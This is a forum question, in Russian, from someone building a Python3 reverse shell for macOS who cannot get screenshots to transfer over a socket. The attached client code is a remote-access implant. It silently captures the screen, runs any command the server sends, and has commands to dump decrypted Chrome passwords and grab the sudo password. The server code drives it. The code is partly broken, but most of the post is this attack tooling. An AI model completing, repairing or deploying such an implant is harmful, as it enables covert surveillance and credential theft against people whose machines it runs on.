Отправка изображения с помощью сокетов в Python3 - PullRequest
0 голосов
/ 01 мая 2019

Я работаю над проектом обратной оболочки и использую Python3. В настоящее время я работаю над отправкой файлов через сокетное соединение, но из-за любви к добру я не могу заставить его работать :( У меня есть поиск в Интернете, и все ссылки на Google фиолетового цвета, поэтому я сейчас пытаюсь попытать счастья.

Каждый раз, когда я пытаюсь отправить файл поверх, я либо теряю соединение, либо файл просто просто не передает права.

Я пробовал разные способы перезаписать источник изображения. Лучшие попытки были сделаны, когда я декодировал источник изображения в base64 и отправлял их, но я думаю, что проблема связана с recv (1024).

Server.py

##################################
#            Server.py           #
##################################

#Connect with remote target client
def send_target_commands(conn):
    while True:
        try:
            cmd = input()
            if cmd == 'quit':
                break
            if len(str.encode(cmd)) > 0:
                conn.send(str.encode(cmd))
                client_respons = str(conn.recv(1024), "utf-8")

                #Custom commands requiering server based actions 
                if client_respons.startswith('osx_screen_shot') == True:
                    screen = client_respons[15:] #Delete 'osx_screen_shot ' fomr the string
                    f = open('temp.png', 'wb')
                    while screen != bytes(''.encode()):
                        #print(data)
                        data_d = str(conn.recv(1024))
                        f.write(data_d)
                else:
                    print(client_respons, end="")
        except:
            print("Connection was lost")
            break

Client.py

##################################
#            Client.py           #
##################################

#====== Screen Shoot ======#
def osx_screen_shot():
    os.system("export PATH=/bin:/usr/bin:/sbin:/usr/sbin")
    os.system("screencapture -x /tmp/temp")
    try:
        with open("/tmp/temp", 'rb') as hoosh:
            data = hoosh.read(1024)
            s.send(data)
            while data != bytes(''.encode()):
                #print(data)
                data = hoosh.read(1024)
                s.send(data)
            print(' File sent successfully.')

    except:
        return "Something went wrong"

#====== Listener =====#
while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))

    current_dir = "\033[1;31m[\033[0;97m"+str(os.getcwd())+"\033[1;31m]\033[0;97m"

    #Custom payload
    if len(data) > 0:
        if data == 'osx_menu':
            string = help_menu()
            s.send(str(string + current_dir) + ' ')
        elif data == 'osx_chrome_pass':
            passwords = function_chrome_decrypt()
            s.send(str(passwords + current_dir) + ' ')
        elif data[:2] == 'cd':
            s.send(str(current_dir) + ' ')
        elif data == 'osx_get_sudo_pass':
            string = get_sudo_password()
            s.send(str(string + current_dir) + ' ')
        elif data == 'osx_screen_shot':
            imgae_code = osx_screen_shot()
            s.send(str(imgae_code))
        elif data != '':
            cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str.decode(output_bytes)
            s.send(str(output_str + current_dir) + ' ')

Что я исключаю из кода, так это то, что я могу отправлять исходный код изображения через сокет и получать изображение на серверном компьютере

...